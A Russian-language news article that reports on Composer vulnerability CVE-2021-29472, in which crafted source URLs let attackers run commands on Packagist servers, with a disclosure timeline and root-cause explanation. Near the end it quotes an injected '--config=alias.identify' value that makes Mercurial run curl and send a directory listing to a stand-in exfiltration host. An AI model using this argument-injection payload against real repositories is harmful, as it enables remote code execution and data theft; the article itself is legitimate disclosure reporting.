Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist

В менеджере зависимостей Composer выявлена критическая уязвимость (CVE-2021-29472), позволяющая выполнить произвольные команды в системе при обработке пакета со специально оформленным значением URL, определяющим адрес для загрузки исходных текстов. Проблема проявляется в компонентах GitDriver, SvnDriver и HgDriver, применяемых при использовании систем управления исходными текстами Git, Subversion и Mercurial. Уязвимость устранена в выпусках Composer 1.10.22 и 2.0.13.

Особо отмечается, что проблема главным образом затронула по умолчанию применяемый в Composer репозиторий пакетов Packagist, насчитывающий 306 тысяч пакетов для разработчиков на языке PHP и ежемесячно обслуживающий более 1.4 миллиарда загрузок. В ходе эксперимента показано, что в случае наличия сведений о проблеме атакующие могли бы получить контроль над инфраструктурой Packagist и перехватить учётные данные сопровождающих или перенаправить загрузку пакетов на сторонний сервер, организовав доставку вариантов пакетов с вредоносными изменениями для подстановки бэкдора в процессе установки зависимостей.

Опасность для конечных пользователей ограничивается тем, что содержимое composer.json обычно определяется самим пользователем, а ссылки на исходные тексты передаются при обращении к сторонним репозиториям, обычно заслуживающим доверия. Основной удар пришёлся на репозиторий Packagist.org и сервис Private Packagist, вызывающие Composer с передачей данных, полученных от пользователей. Злоумышленники могли выполнить свой код на серверах Packagist разместив специально оформленный пакет.

Команда Packagist устранила уязвимость в течение 12 часов после поступления сообщения об уязвимости. Исследователи в частном порядке уведомили разработчиков Packagist 22 апреля и в тот же день проблема была исправлена. Публичное обновление Composer с устранение уязвимости было опубликовано 27 апреля, а детали были раскрыты 28 апреля. Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности.

Проблема вызвана ошибкой в коде проверки корректности URL в корневом файле composer.json и ссылках для загрузки исходных текстов. Ошибка присутствует в коде с ноября 2011 года. В Packagist для организации загрузки кода без привязки к конкретной системе управления исходными текстами применяются специальные прослойки, которые выполняются при помощи вызова «fromShellCommandline» с передачей аргументов командной строки. Например, для git вызывается команда «git ls-remote —heads $URL», где URL обработан при помощи метода «ProcessExecutor::escape($url)», экранирующего потенциально опасные конструкции, такие как «$(…)» или «`…`».

Суть проблемы в том, что метод ProcessExecutor::escape не экранировал последовательность «—«, что позволяло указать в URL любой дополнительный параметр вызова. Подобное экранирование отсутствовало в драйверах GitDriver.php, SvnDriver.php и HgDriver.php. Атаке через GitDriver.php мешало то, что команда «git ls-remote» не поддерживала указание дополнительных аргументов после пути. Возможной оказалась атака на HgDriver.php через передачу параметра «—config» утилите «hq», позволяющего организовать выполнение любой команды через манипуляцию с настройкой «alias.identify». Например, для загрузки и выполнения кода через запуск утилиты curl можно было указать: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Разместив в Packagist тестовый пакет с подобным URL, исследователи убедились, что после размещения на их сервер поступил HTTP-запрос с одного из серверов Packagist в AWS, содержащий листинг файлов в текущем каталоге.

Источник: opennet.ru

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *